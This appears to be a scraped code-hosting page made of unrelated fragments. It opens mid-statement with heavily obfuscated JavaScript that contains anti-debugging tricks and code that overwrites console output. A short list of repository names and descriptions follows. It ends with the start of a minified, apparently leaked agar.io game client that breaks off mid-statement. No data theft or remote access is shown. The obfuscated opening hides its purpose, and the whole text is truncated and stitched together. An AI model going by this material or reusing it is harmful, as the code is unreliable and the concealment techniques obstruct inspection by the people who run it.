_0x37c451(_0xd2c147-0x84,_0x1661b6-0xc2,_0xd2c147-0x2b9,_0xfa9e06-0x76,_0xfa9e06);}if(_0x43c8a6[_0xe020f1(0x745,0x4be,0x611,0x2e3,0x4e5)](_0x43c8a6[_0x1b76e9(0x109,0x3f1,0x3f9,0x2be,0x6fa)],_0x43c8a6[_0x42bdc8(0x4ec,0x84,0x449,0x26b,-0x14)])){if(_0x43c8a6[_0x56cef7(0x202,0x95,0x385,0x456,0x176)](typeof _0x43c438,_0x43c8a6[_0x1b76e9(0x809,0xaf3,0x8e2,0x68d,0x675)])){if(_0x43c8a6[_0xe020f1(0x784,0x4fd,0x36a,0x680,0x50c)](_0x43c8a6[_0x56cef7(-0x253,-0x11f,-0xdc,-0x367,-0x17a)],_0x43c8a6[_0x1b76e9(0x1dc,0x3b0,0x4c1,0x3c4,0x306)]))_0x1a8da0=_0x28fe67[_0xe020f1(0x43e,0x30a,0x8c,0x10f,0x164)];else return function(_0x10dbdf){}[_0x1b76e9(0xab0,0xc2d,0x931,0xbc0,0x753)+_0x1448b6(0x85f,0x5eb,0x8ed,0xb0c,0x60c)+'r'](_0x43c8a6[_0x1b76e9(0x7f4,0x524,0x675,0x745,0x646)])[_0x42bdc8(0xbe,0x3c3,0xce,0x143,0x41e)](_0x43c8a6[_0x42bdc8(-0xc,0x1a6,-0x347,-0x10d,0x19)]);}else{if(_0x43c8a6[_0x1b76e9(0x7e0,0x6de,0x822,0x64d,0x7eb)](_0x43c8a6[_0xe020f1(0x2e7,0x3db,0x6cd,0x56d,0x164)],_0x43c8a6[_0x42bdc8(-0x200,-0x114,-0x13b,0x0,0x85)])){if(_0x43c8a6[_0x1448b6(0x82b,0xa6a,0x942,0x5ca,0x642)](_0x43c8a6[_0x56cef7(-0x4e,-0x120,-0xf3,-0x3b3,-0x1c4)]('',_0x43c8a6[_0x42bdc8(-0x86,-0x152,0x237,-0x3b,-0xf4)](_0x43c438,_0x43c438))[_0x43c8a6[_0xe020f1(0x2ed,0x5d9,0x72a,0x67a,0x850)]],0x1920+-0x8e2+-0x103d*0x1)||_0x43c8a6[_0x1448b6(0x5e7,0x672,0x37c,0x36d,0x5c0)](_0x43c8a6[_0x1b76e9(0x719,0x7a0,0x523,0x42b,0x5ff)](_0x43c438,-0x2e4+0x215b+-0xa21*0x3),0x1774+0x19*-0x183+0x1*0xe57)){if(_0x43c8a6[_0x1b76e9(0x762,0x742,0x6f3,0x41c,0x71a)](_0x43c8a6[_0xe020f1(0x479,0x75f,0x736,0x9f4,0x492)],_0x43c8a6[_0x1448b6(0xa8d,0xb2a,0xca2,0xd61,0xaff)])){var _0x5d0bb3=new _0x25cbce(_0x201f75[_0x56cef7(-0x13c,0xe6,-0x112,0x159,-0x43)]),_0x5ed99f=new _0x32a90c(_0x201f75[_0x1448b6(0x62c,0x75a,0x6db,0x56c,0x782)],'i'),_0x4e6a5a=_0x201f75[_0x1448b6(0x813,0x624,0x6ca,0x6c8,0x838)](_0x191631,_0x201f75[_0x1448b6(0x9a2,0xc79,0x6ee,0xb77,0x725)]);!_0x5d0bb3[_0xe020f1(0x1b1,0x20e,-0x16,0x4bc,0x4dc)](_0x201f75[_0x1b76e9(0x4bf,0x665,0x556,0x411,0x5d7)](_0x4e6a5a,_0x201f75[_0x42bdc8(0x3a,0xe,0xf0,0x1d3,0x459)]))||!_0x5ed99f[_0x56cef7(0x189,-0x3b6,-0x15a,0xf9,-0x369)](_0x201f75[_0x42bdc8(0x149,0x23f,-0x113,0x7c,0x2fa)](_0x4e6a5a,_0x201f75[_0x1b76e9(0x5ac,0x6df,0x54d,0x7dd,0x3c1)]))?_0x201f75[_0x56cef7(0x415,-0x20,0x17d,-0x7d,0x353)](_0x4e6a5a,'0'):_0x201f75[_0xe020f1(0x469,0x5f1,0x5f9,0x6ab,0x5ee)](_0xe16d8f);}else(function(){function _0x1acfc4(_0x2e4861,_0x288b74,_0x59456e,_0x9d83b1,_0x21e4c7){return _0x42bdc8(_0x2e4861-0xcd,_0x288b74-0xad,_0x59456e-0x16c,_0x2e4861-0x2ae,_0x9d83b1);}function _0x2497e2(_0x474e73,_0xb9c667,_0x4c8b9b,_0x1c99e3,_0x518c49){return _0x42bdc8(_0x474e73-0x1bf,_0xb9c667-0x1cf,_0x4c8b9b-0x1e5,_0x4c8b9b-0x1e0,_0x518c49);}function _0x54fc30(_0x3f4f3a,_0x27d4ec,_0x38fab4,_0x1fa82c,_0x138bd1){return _0x42bdc8(_0x3f4f3a-0xf0,_0x27d4ec-0xc1,_0x38fab4-0xaa,_0x27d4ec-0x56b,_0x1fa82c);}function _0xeab2d(_0x176dec,_0x24662b,_0x20b9a4,_0x53039b,_0x33230f){return _0x56cef7(_0x176dec-0x100,_0x176dec,_0x20b9a4-0x33e,_0x53039b-0xdb,_0x33230f-0x8d);}var _0x2924b3={'CmKGg':function(_0x3560c6,_0x4dc049){function _0x4833e9(_0x40807d,_0x47fb7a,_0x1dfb0a,_0x936e4e,_0x26ce1d){return _0x3416(_0x47fb7a- -0x202,_0x1dfb0a);}return _0x43c8a6[_0x4833e9(0x254,0xd5,0xa6,0x233,0x10a)](_0x3560c6,_0x4dc049);}};if(_0x43c8a6[_0x54fc30(0x7ff,0x69b,0x451,0x79c,0x58c)](_0x43c8a6[_0xeab2d(0x14f,0x222,0x28b,0x22b,-0x6c)],_0x43c8a6[_0x54fc30(0x712,0x5ee,0x6bf,0x757,0x48b)])){if(_0x568f22)return _0x489476;else _0x2924b3[_0x54fc30(0x587,0x6a2,0x6b4,0x7e8,0x6d5)](_0x2e32f3,-0x5e*0x8+0x14f9+0x201*-0x9);}else return!![];}[_0xe020f1(0x41d,0x6fc,0x49b,0x9ac,0x7c6)+_0xe020f1(0x6e8,0x531,0x45a,0x30a,0x611)+'r'](_0x43c8a6[_0x56cef7(-0x192,0x142,0x134,-0x13f,-0x7)](_0x43c8a6[_0x1448b6(0x629,0x421,0x918,0x868,0x79a)],_0x43c8a6[_0x1b76e9(0x9b8,0x867,0x7fa,0x936,0xae3)]))[_0x1b76e9(0x504,0x6be,0x5fe,0x857,0x682)](_0x43c8a6[_0x56cef7(-0x132,0xd4,-0x4,-0x1b7,-0x4a)]));}else{if(_0x43c8a6[_0x42bdc8(0xe8,0x5c,0x8c,0x348,0x98)](_0x43c8a6[_0x56cef7(0x2fd,0x438,0x28a,0x564,0x270)],_0x43c8a6[_0x1b76e9(0x7f1,0xae4,0x827,0xa60,0x896)])){var _0x433f9c=_0x43c8a6[_0x56cef7(0x4a8,0x2e6,0x3aa,0x471,0x448)][_0x42bdc8(0x225,0xa8,0x2bf,0x36b,0x5ad)]('|'),_0x42606b=0x26bc+-0x1*-0x45f+-0x2b1b*0x1;while(!![]){switch(_0x433f9c[_0x42606b++]){case'0':var _0x29a756;continue;case'1':try{var _0x21030b=_0x43c8a6[_0x56cef7(-0x19f,-0x195,-0xe2,-0x39a,0x125)](_0x1d22f2,_0x43c8a6[_0xe020f1(0x414,0x631,0x407,0x81f,0x902)](_0x43c8a6[_0x42bdc8(0x4af,0x413,0x4ad,0x38c,0x576)](_0x43c8a6[_0x1448b6(0x9dc,0x93e,0x8ee,0xbb7,0x9e6)],_0x43c8a6[_0x56cef7(-0x25,0x195,0xcc,0x25a,-0x10a)]),');'));_0x29a756=_0x43c8a6[_0xe020f1(0x5cf,0x5d6,0x7e6,0x590,0x83a)](_0x21030b);}catch(_0x53a3a7){_0x29a756=_0x256c93;}continue;case'2':var _0x5e9545=_0x29a756[_0x42bdc8(-0x6b,0x2d3,-0x290,-0x11,-0x181)+'le']=_0x29a756[_0xe020f1(0x1b1,0x294,0x1f7,0x2a4,0x2ce)+'le']||{};continue;case'3':var _0x50bf3f=[_0x43c8a6[_0x1b76e9(0x739,0x759,0x68e,0x75a,0x84a)],_0x43c8a6[_0x56cef7(0x187,0x560,0x39c,0x538,0x1bd)],_0x43c8a6[_0x56cef7(-0x1bb,-0x23b,-0xf2,-0x25,-0x333)],_0x43c8a6[_0x1b76e9(0x7db,0xaaf,0x812,0xa0d,0x72f)],_0x43c8a6[_0x56cef7(-0xb8,0x49,0x20c,-0x18,0x4f)],_0x43c8a6[_0x42bdc8(-0x27f,0x63,-0x20e,0x77,0x2c6)],_0x43c8a6[_0x1448b6(0x8ca,0x652,0x7ce,0xbb8,0x615)]];continue;case'4':for(var _0x3e0b59=-0x1*-0x9f7+-0x7a4+-0x23*0x11;_0x43c8a6[_0xe020f1(0x2cd,0x5be,0x62a,0x300,0x3a8)](_0x3e0b59,_0x50bf3f[_0x42bdc8(-0x1e8,-0x1fb,-0x249,0x34,0xea)+'h']);_0x3e0b59++){var _0x3a438e=_0x43c8a6[_0x42bdc8(-0x20a,-0x22d,-0x359,-0xc6,0x189)][_0xe020f1(0x337,0x610,0x5a8,0x792,0x8ed)]('|'),_0xbbbce7=0x1b00+-0x1f9d+0x49d*0x1;while(!![]){switch(_0x3a438e[_0xbbbce7++]){case'0':var _0x4dfeab=_0x50bf3f[_0x3e0b59];continue;case'1':var _0x5a9900=_0x3886ea[_0xe020f1(0x6a2,0x6fc,0x8ba,0x46e,0x68e)+_0x56cef7(0x383,0x2d,0x1c9,0x262,0x2d0)+'r'][_0x42bdc8(-0x152,-0x18e,0x234,0x2e,-0xb4)+_0x42bdc8(0x307,0x3b0,0x16f,0x116,-0x161)][_0xe020f1(0x2e9,0x407,0x2ec,0x5c9,0x6a1)](_0x5b4640);continue;case'2':var _0x5ea10e=_0x5e9545[_0x4dfeab]||_0x5a9900;continue;case'3':_0x5a9900[_0x42bdc8(0x18b,0x271,0xd8,0x286,0x112)+_0x42bdc8(0x1e9,0x203,-0x198,0x5e,-0x120)]=_0x5ea10e[_0xe020f1(0x4e5,0x52b,0x263,0x284,0x53f)+_0xe020f1(0x18a,0x303,0x441,0x51f,0x3bf)][_0xe020f1(0x63d,0x407,0x175,0x24b,0x594)](_0x5ea10e);continue;case'4':_0x5e9545[_0x4dfeab]=_0x5a9900;continue;case'5':_0x5a9900[_0x42bdc8(0x28a,-0x315,-0x2eb,-0x24,-0x11f)+_0x42bdc8(0x304,-0x14a,0x26d,0xcb,-0x20f)]=_0x1bda1f[_0x42bdc8(0x34b,-0x50,0x1ce,0x162,0x3c1)](_0x56312f);continue;}break;}}continue;}break;}}else(function(){function _0x13d2ee(_0x3bdb12,_0x46d02c,_0x54477a,_0x2e1e5f,_0x4bb44f){return _0x42bdc8(_0x3bdb12-0xce,_0x46d02c-0x14f,_0x54477a-0x127,_0x46d02c-0x1f8,_0x2e1e5f);}function _0x267d84(_0x9d28e,_0x3c81a8,_0x4f0c34,_0x44f485,_0x40975c){return _0x1b76e9(_0x9d28e-0x16a,_0x3c81a8-0x185,_0x9d28e-0x201,_0x3c81a8,_0x40975c-0x85);}function _0x444ba9(_0x234573,_0x33dd99,_0x5b9994,_0x573fd3,_0x377c7d){return _0x42bdc8(_0x234573-0xdc,_0x33dd99-0x171,_0x5b9994-0x4e,_0x234573-0x58c,_0x377c7d);}return _0x43c8a6[_0x267d84(0xa19,0xa01,0x79a,0xcb0,0x93c)](_0x43c8a6[_0x444ba9(0x4fa,0x458,0x57f,0x315,0x54c)],_0x43c8a6[_0x444ba9(0x87c,0x7c4,0x5a1,0xb17,0x7a2)])?_0x20c9c8:![];}[_0x1b76e9(0x672,0x68f,0x931,0xa5b,0xa9a)+_0x1448b6(0x85f,0x8ae,0x597,0x862,0x882)+'r'](_0x43c8a6[_0x1b76e9(0x4a2,0x4bb,0x6d1,0x565,0x74c)](_0x43c8a6[_0x1448b6(0x629,0x3f4,0x66f,0x7b4,0x3e5)],_0x43c8a6[_0x56cef7(0x442,0x488,0x25d,0x311,-0x53)]))[_0x56cef7(0x290,0x159,0x80,0x369,0xb8)](_0x43c8a6[_0x56cef7(0x2eb,-0xd3,0x1b9,0x47e,0x34b)]));}}else return _0x19f7e1[_0x56cef7(0x219,0xb3,0x1c3,0x3bc,0x39f)+_0x56cef7(-0x24e,0x13e,-0x65,-0xb,0xc7)]()[_0xe020f1(0x7d9,0x78c,0x6fa,0x87f,0x514)+'h'](_0x43c8a6[_0x42bdc8(0x241,-0x133,-0xb1,-0x42,-0x21b)])[_0x1b76e9(0x5fc,0x6fa,0x760,0x533,0x4ef)+_0x1448b6(0x631,0x40f,0x8fe,0x34e,0x744)]()[_0x1448b6(0xa2a,0x9d5,0x769,0xae6,0x96b)+_0x1b76e9(0x9ca,0x9b5,0x766,0x87f,0x709)+'r'](_0x4f8a9b)[_0x56cef7(0x675,0x1a7,0x424,0x6bd,0x37f)+'h'](_0x43c8a6[_0x1b76e9(0x4b4,0x78d,0x498,0x228,0x22d)]);}_0x43c8a6[_0x1b76e9(0x8bd,0x70c,0x7c6,0x5b7,0xac3)](_0x4f9f76,++_0x43c438);}else _0x4a11db+=-0x26f4+0x331*0x7+0x10fc;}function _0x5ca57d(_0x545d07,_0x2f7e3e,_0x556d5b,_0x1fd350,_0x19f039){return _0x463220(_0x1fd350,_0x2f7e3e-0xb2,_0x556d5b-0xcb,_0x545d07- -0x465,_0x19f039-0x2);}try{if(_0x43c8a6[_0x25aa15(0x406,0x2b7,0x2af,0x448,0x185)](_0x43c8a6[_0x5ca57d(0x662,0x869,0x8d4,0x44d,0x41b)],_0x43c8a6[_0x333391(0x7a4,0x593,0x2bb,0x27b,0x4d7)])){if(_0x28a4f5){if(_0x43c8a6[_0x5ca57d(0x4c6,0x4e1,0x3e6,0x354,0x665)](_0x43c8a6[_0x5ca57d(0x3af,0x255,0xfe,0x5bf,0x162)],_0x43c8a6[_0x37c451(0x67b,0x365,0x45b,0x675,0x26c)]))_0x4ac7e2+=_0x1a2589;else return _0x4f9f76;}else{if(_0x43c8a6[_0x5ca57d(0x6b6,0x711,0x66f,0x710,0x54b)](_0x43c8a6[_0x5ca57d(0x259,0x2b,0x276,0x1db,0x184)],_0x43c8a6[_0x25aa15(-0x1dd,0x9b,-0x198,0xbc,-0x19b)]))_0x43c8a6[_0x25aa15(0x33b,0x189,0x3f8,0x1da,0x288)](_0x4f9f76,-0x8b2+0x11b+-0x1d*-0x43);else{var _0x573440=_0x2ff6a3[_0x25aa15(0x2e8,0x1f3,0x486,0x156,0x480)](_0x50ad3d,arguments);return _0x40d1a7=null,_0x573440;}}}else _0x5a0296;}catch(_0x454f02){}}
HearTao
No description available
Invariance-NaN
No description available
EdgeFirstAI
EdgeFirst Driver for the BNO08x IMU
DaRealFreak
No description available
valentintintin
Small script to parse RSS feed from https://www.contestcalendar.com/calendar.rss and filter results for Europe/Worldwide and SSB.
AgarioLeaks
(function(g,m){function Wa(){oa=!0;Aa();setInterval(Aa,18E4);C=pa=document.getElementById("canvas");f=C.getContext("2d");C.onmousedown=function(a){if(Ba){var b=a.clientX-(5+q/5/2),c=a.clientY-(5+q/5/2);if(Math.sqrt(b*b+c*c)<=q/5/2){N();D(17);return}}U=a.clientX;V=a.clientY;qa();N()};C.onmousemove=function(a){U=a.clientX;V=a.clientY;qa()};C.onmouseup=function(){};/firefox/i.test(navigator.userAgent)?document.addEventListener("DOMMouseScroll",Ca,!1):document.body.onmousewheel=Ca;var a=!1,b=!1,c=!1;g.onkeydown=function(d){32!=d.keyCode||a||(N(),D(17),a=!0);81!=d.keyCode||b||(D(18),b=!0);87!=d.keyCode||c||(N(),D(21),c=!0);27==d.keyCode&&Da(!0)};g.onkeyup=function(d){32==d.keyCode&&(a=!1);87==d.keyCode&&(c=!1);81==d.keyCode&&b&&(D(19),b=!1)};g.onblur=function(){D(19);c=b=a=!1};g.onresize=Ea;g.requestAnimationFrame?g.requestAnimationFrame(Fa):setInterval(ra,1E3/60);setInterval(N,40);w&&m("#region").val(w);Ga();W(m("#region").val());null==s&&w&&X();m("#overlays").show();Ea()}function Ca(a){E*=Math.pow(.9,a.wheelDelta/-120||a.detail||0);1>E&&(E=1);E>4/k&&(E=4/k)}function Xa(){if(.4>k)O=null;else{for(var a=Number.POSITIVE_INFINITY,b=Number.POSITIVE_INFINITY,c=Number.NEGATIVE_INFINITY,d=Number.NEGATIVE_INFINITY,e=0,l=0;l<v.length;l++){var h=v[l];!h.I()||h.M||20>=h.size*k||(e=Math.max(h.size,e),a=Math.min(h.x,a),b=Math.min(h.y,b),c=Math.max(h.x,c),d=Math.max(h.y,d))}O=Ya.ca({X:a-(e+100),Y:b-(e+100),fa:c+(e+100),ga:d+(e+100),da:2,ea:4});for(l=0;l<v.length;l++)if(h=v[l],h.I()&&!(20>=h.size*k))for(a=0;a<h.a.length;++a)b=h.a[a].x,c=h.a[a].y,b<t-q/2/k||c<u-r/2/k||b>t+q/2/k||c>u+r/2/k||O.i(h.a[a])}}function qa(){Y=(U-q/2)/k+t;Z=(V-r/2)/k+u}function Aa(){null==$&&($={},m("#region").children().each(function(){var a=m(this),b=a.val();b&&($[b]=a.text())}));m.get(aa+"//m.agar.io/info",function(a){var b={},c;for(c in a.regions){var d=c.split(":")[0];b[d]=b[d]||0;b[d]+=a.regions[c].numPlayers}for(c in b)m('#region option[value="'+c+'"]').text($[c]+" ("+b[c]+" players)")},"json")}function Ha(){m("#adsBottom").hide(); m("#overlays").hide();Ga()}function W(a){a&&a!=w&&(m("#region").val()!=a&&m("#region").val(a),w=g.localStorage.location=a,m(".region-message").hide(),m(".region-message."+a).show(),m(".btn-needs-server").prop("disabled",!1),oa&&X())}function Da(a){F=null;Za();m("#overlays").fadeIn(a?200:3E3);a||m("#adsBottom").fadeIn(3E3)}function Ga(){m("#region").val()?g.localStorage.location=m("#region").val():g.localStorage.location&&m("#region").val(g.localStorage.location);m("#region").val()?m("#locationKnown").append(m("#region")):m("#locationUnknown").append(m("#region"))}function Za(){ba&&(ba=!1,setTimeout(function(){ba=!0},6E4*Ia),g.googletag&&g.googletag.pubads&&g.googletag.pubads().refresh([g.mainAd]))}function Ja(){console.log("Find "+w+P);m.ajax(aa+"//m.agar.io/",{error:function(){setTimeout(Ja,1E3)},success:function(a){a=a.split("\n");a[2]&&alert(a[2]);Ka("ws://"+a[0],a[1])},dataType:"text",method:"POST",cache:!1,crossDomain:!0,data:(w+P||"?")+"\n154669603"})}function X(){oa&&w&&(m("#connecting").show(),Ja())}function Ka(a,b){if(s){s.onopen=null;s.onmessage=null;s.onclose=null;try{s.close()}catch(c){}s=null}if($a){var d=a.split(":");a=d[0]+"s://ip-"+d[1].replace(/\./g,"-").replace(/\//g,"")+".tech.agar.io:"+(+d[2]+2E3)}G=[];p=[];A={};v=[];I=[];B=[];x=y=null;J=0;ca=!1;console.log("Connecting to "+a);s=new WebSocket(a);s.binaryType="arraybuffer";s.onopen=function(){var a;console.log("socket open");a=K(5);a.setUint8(0,254);a.setUint32(1,4,!0);L(a);a=K(5);a.setUint8(0,255);a.setUint32(1,154669603,!0);L(a);a=K(1+b.length);a.setUint8(0,80);for(var c=0;c<b.length;++c)a.setUint8(c+1,b.charCodeAt(c));L(a)};s.onmessage=ab;s.onclose=bb;s.onerror=function(){console.log("socket error")}}function K(a){return new DataView(new ArrayBuffer(a))}function L(a){s.send(a.buffer)}function bb(){ca&&(da=500);console.log("socket close");setTimeout(X,da);da*=2}function ab(a){cb(new DataView(a.data))}function cb(a){function b(){for(var b="";;){var d=a.getUint16(c,!0);c+=2;if(0==d)break;b+=String.fromCharCode(d)}return b}var c=0;240==a.getUint8(c)&&(c+=5);switch(a.getUint8(c++)){case 16:db(a,c);break;case 17:Q=a.getFloat32(c,!0);c+=4;R=a.getFloat32(c,!0);c+=4;S=a.getFloat32(c,!0);c+=4;break;case 20:p=[];G=[];break;case 21:sa=a.getInt16(c,!0);c+=2;ta=a.getInt16(c,!0);c+=2;ua||(ua=!0,ea=sa,fa=ta);break;case 32:G.push(a.getUint32(c,!0));c+=4;break;case 49:if(null!=y)break;var d=a.getUint32(c,!0),c=c+4;B=[];for(var e=0;e<d;++e){var l=a.getUint32(c,!0),c=c+4;B.push({id:l,name:b()})}La();break;case 50:y=[];d=a.getUint32(c,!0);c+=4;for(e=0;e<d;++e)y.push(a.getFloat32(c,!0)),c+=4;La();break;case 64:ga=a.getFloat64(c,!0),c+=8,ha=a.getFloat64(c,!0),c+=8,ia=a.getFloat64(c,!0),c+=8,ja=a.getFloat64(c,!0),c+=8,Q=(ia+ga)/2,R=(ja+ha)/2,S=1,0==p.length&&(t=Q,u=R,k=S)}}function db(a,b){H=+new Date;ca||(ca=!0,m("#connecting").hide(),Ma());var c=Math.random();va=!1;var d=a.getUint16(b,!0);b+=2;for(var e=0;e<d;++e){var l=A[a.getUint32(b,!0)],h=A[a.getUint32(b+4,!0)];b+=8;l&&h&&(h.S(),h.p=h.x,h.q=h.y,h.o=h.size,h.D=l.x,h.F=l.y,h.n=h.size,h.L=H)}for(e=0;;){d=a.getUint32(b,!0); b+=4;if(0==d)break;++e;var f,l=a.getInt16(b,!0);b+=2;h=a.getInt16(b,!0);b+=2;f=a.getInt16(b,!0);b+=2;for(var g=a.getUint8(b++),k=a.getUint8(b++),q=a.getUint8(b++),g=(g<<16|k<<8|q).toString(16);6>g.length;)g="0"+g;var g="#"+g,k=a.getUint8(b++),q=!!(k&1),s=!!(k&16);k&2&&(b+=4);k&4&&(b+=8);k&8&&(b+=16);for(var r,n="";;){r=a.getUint16(b,!0);b+=2;if(0==r)break;n+=String.fromCharCode(r)}r=n;n=null;A.hasOwnProperty(d)?(n=A[d],n.K(),n.p=n.x,n.q=n.y,n.o=n.size,n.color=g):(n=new Na(d,l,h,f,g,r),v.push(n),A[d]=n,n.ka=l,n.la=h);n.d=q;n.j=s;n.D=l;n.F=h;n.n=f;n.ja=c;n.L=H;n.W=k;r&&n.Z(r);-1!=G.indexOf(d)&&-1==p.indexOf(n)&&(document.getElementById("overlays").style.display="none",p.push(n),1==p.length&&(t=n.x,u=n.y))}c=a.getUint32(b,!0);b+=4;for(e=0;e<c;e++)d=a.getUint32(b,!0),b+=4,n=A[d],null!=n&&n.S();va&&0==p.length&&Da(!1)}function N(){var a;if(wa()){a=U-q/2;var b=V-r/2;64>a*a+b*b||.01>Math.abs(Oa-Y)&&.01>Math.abs(Pa-Z)||(Oa=Y,Pa=Z,a=K(21),a.setUint8(0,16),a.setFloat64(1,Y,!0),a.setFloat64(9,Z,!0),a.setUint32(17,0,!0),L(a))}}function Ma(){if(wa()&&null!=F){var a=K(1+2*F.length);a.setUint8(0,0);for(var b=0;b<F.length;++b)a.setUint16(1+2*b,F.charCodeAt(b),!0);L(a)}}function wa(){return null!=s&&s.readyState==s.OPEN}function D(a){if(wa()){var b=K(1);b.setUint8(0,a);L(b)}}function Fa(){ra();g.requestAnimationFrame(Fa)}function Ea(){q=g.innerWidth;r=g.innerHeight;pa.width=C.width=q;pa.height=C.height=r;var a=m("#helloDialog");a.css("transform","none");var b=a.height(),c=g.innerHeight;b>c/1.1?a.css("transform","translate(-50%, -50%) scale("+c/b/1.1+")"):a.css("transform","translate(-50%, -50%)");ra()}function Qa(){var a;a=1*Math.max(r/1080,q/1920);return a*=E}function eb(){if(0!=p.length){for(var a=0,b=0;b<p.length;b++)a+=p[b].size;a=Math.pow(Math.min(64/a,1),.4)*Qa();k=(9*k+a)/10}}function ra(){var a,b=Date.now();++fb;H=b;if(0<p.length){eb();for(var c=a=0,d=0;d<p.length;d++)p[d].K(),a+=p[d].x/p.length,c+=p[d].y/p.length;Q=a;R=c;S=k;t=(t+a)/2;u=(u+c)/2}else t=(29*t+Q)/30,u=(29*u+R)/30,k=(9*k+S*Qa())/10; Xa();qa();xa||f.clearRect(0,0,q,r);xa?(f.fillStyle=ka?"#111111":"#F2FBFF",f.globalAlpha=.05,f.fillRect(0,0,q,r),f.globalAlpha=1):gb();v.sort(function(a,b){return a.size==b.size?a.id-b.id:a.size-b.size});f.save();f.translate(q/2,r/2);f.scale(k,k);f.translate(-t,-u);for(d=0;d<I.length;d++)I[d].T(f);for(d=0;d<v.length;d++)v[d].T(f);if(ua){ea=(3*ea+sa)/4;fa=(3*fa+ta)/4;f.save();f.strokeStyle="#FFAAAA";f.lineWidth=10;f.lineCap="round";f.lineJoin="round";f.globalAlpha=.5;f.beginPath();for(d=0;d<p.length;d++)f.moveTo(p[d].x, p[d].y),f.lineTo(ea,fa);f.stroke();f.restore()}f.restore();x&&x.width&&f.drawImage(x,q-x.width-10,10);J=Math.max(J,hb());0!=J&&(null==la&&(la=new ma(24,"#FFFFFF")),la.u("Score: "+~~(J/100)),c=la.G(),a=c.width,f.globalAlpha=.2,f.fillStyle="#000000",f.fillRect(10,r-10-24-10,a+10,34),f.globalAlpha=1,f.drawImage(c,15,r-10-24-5));ib();b=Date.now()-b;b>1E3/60?z-=.01:b<1E3/65&&(z+=.01);.4>z&&(z=.4);1<z&&(z=1)}function gb(){f.fillStyle=ka?"#111111":"#F2FBFF";f.fillRect(0,0,q,r);f.save();f.strokeStyle=ka?"#AAAAAA":"#000000";f.globalAlpha=.2;f.scale(k,k);for(var a=q/k,b=r/k,c=-.5+(-t+a/2)%50;c<a;c+=50)f.beginPath(),f.moveTo(c,0),f.lineTo(c,b),f.stroke();for(c=-.5+(-u+b/2)%50;c<b;c+=50)f.beginPath(),f.moveTo(0,c),f.lineTo(a,c),f.stroke();f.restore()}function ib(){if(Ba&&ya.width){var a=q/5;f.drawImage(ya,5,5,a,a)}}function hb(){for(var a=0,b=0;b<p.length;b++)a+=p[b].n*p[b].n;return a}function La(){x=null;if(null!=y||0!=B.length)if(null!=y||na){x=document.createElement("canvas");var a=x.getContext("2d"),b=60,b=null==y?b+24*B.length:b+180,c=Math.min(200,.3*q)/200;x.width=200*c;x.height=b*c;a.scale(c,c);a.globalAlpha=.4;a.fillStyle="#000000";a.fillRect(0,0,200,b);a.globalAlpha=1;a.fillStyle="#FFFFFF";c=null;c="Leaderboard";a.font="30px Ubuntu";a.fillText(c,100-a.measureText(c).width/2,40);if(null==y)for(a.font="20px Ubuntu",b=0;b<B.length;++b)c=B[b].name||"An unnamed cell",na||(c="An unnamed cell"),-1!=G.indexOf(B[b].id)?(p[0].name&&(c=p[0].name),a.fillStyle="#FFAAAA"):a.fillStyle="#FFFFFF",c=b+1+ ". "+c,a.fillText(c,100-a.measureText(c).width/2,70+24*b);else for(b=c=0;b<y.length;++b){var d=c+y[b]*Math.PI*2;a.fillStyle=jb[b+1];a.beginPath();a.moveTo(100,140);a.arc(100,140,80,c,d,!1);a.fill();c=d}}}function Na(a,b,c,d,e,l){this.id=a;this.p=this.x=b;this.q=this.y=c;this.o=this.size=d;this.color=e;this.a=[];this.l=[];this.R();this.Z(l)}function ma(a,b,c,d){a&&(this.r=a);b&&(this.N=b);this.P=!!c;d&&(this.s=d)}var aa=g.location.protocol,$a="https:"==aa;if(g.location.ancestorOrigins&&g.location.ancestorOrigins.length&&"https://apps.facebook.com"!=g.location.ancestorOrigins[0])g.top.location="http://agar.io/";else{var pa,f,C,q,r,O=null,s=null,t=0,u=0,G=[],p=[],A={},v=[],I=[],B=[],U=0,V=0,Y=-1,Z=-1,fb=0,H=0,F=null,ga=0,ha=0,ia=1E4,ja=1E4,k=1,w=null,Ra=!0,na=!0,za=!1,va=!1,J=0,ka=!1,Sa=!1,Q=t=~~((ga+ia)/2),R=u=~~((ha+ja)/2),S=1,P="",y=null,oa=!1,ua=!1,sa=0,ta=0,ea=0,fa=0,Ta=0,jb=["#333333","#FF3333","#33FF33","#3333FF"],xa=!1,ca=!1,E=1,Ba="ontouchstart"in g&&/Android|webOS|iPhone|iPad|iPod|BlackBerry|IEMobile|Opera Mini/i.test(navigator.userAgent), ya=new Image;ya.src="img/split.png";var Ua=document.createElement("canvas");if("undefined"==typeof console||"undefined"==typeof DataView||"undefined"==typeof WebSocket||null==Ua||null==Ua.getContext||null==g.localStorage)alert("You browser does not support this game, we recommend you to use Firefox to play this");else{var $=null;g.setNick=function(a){Ha();F=a;Ma();J=0};g.setRegion=W;g.setSkins=function(a){Ra=a};g.setNames=function(a){na=a};g.setDarkTheme=function(a){ka=a};g.setColors=function(a){za=a};g.setShowMass=function(a){Sa=a};g.spectate=function(){F=null;D(1);Ha()};g.setGameMode=function(a){a!=P&&(P=a,X())};g.setAcid=function(a){xa=a};null!=g.localStorage&&(null==g.localStorage.AB9&&(g.localStorage.AB9=0+~~(100*Math.random())),Ta=+g.localStorage.AB9,g.ABGroup=Ta);m.get(aa+"//gc.agar.io",function(a){var b=a.split(" ");a=b[0];b=b[1]||"";-1==["UA"].indexOf(a)&&Va.push("ussr");"PT"!=a&&"ES"!=a||-1==g.navigator.userAgent.indexOf("Android")||!g.confirm("We have an Android app on Google Play, would you rather be redirected there?")||(g.location="https://play.google.com/store/apps/details?id=com.miniclip.agar.io");T.hasOwnProperty(a)&&("string"==typeof T[a]?w||W(T[a]):T[a].hasOwnProperty(b)&&(w||W(T[a][b])))},"text");var ba=!1,Ia=0;setTimeout(function(){ba=!0},Math.max(6E4*Ia,1E4));var 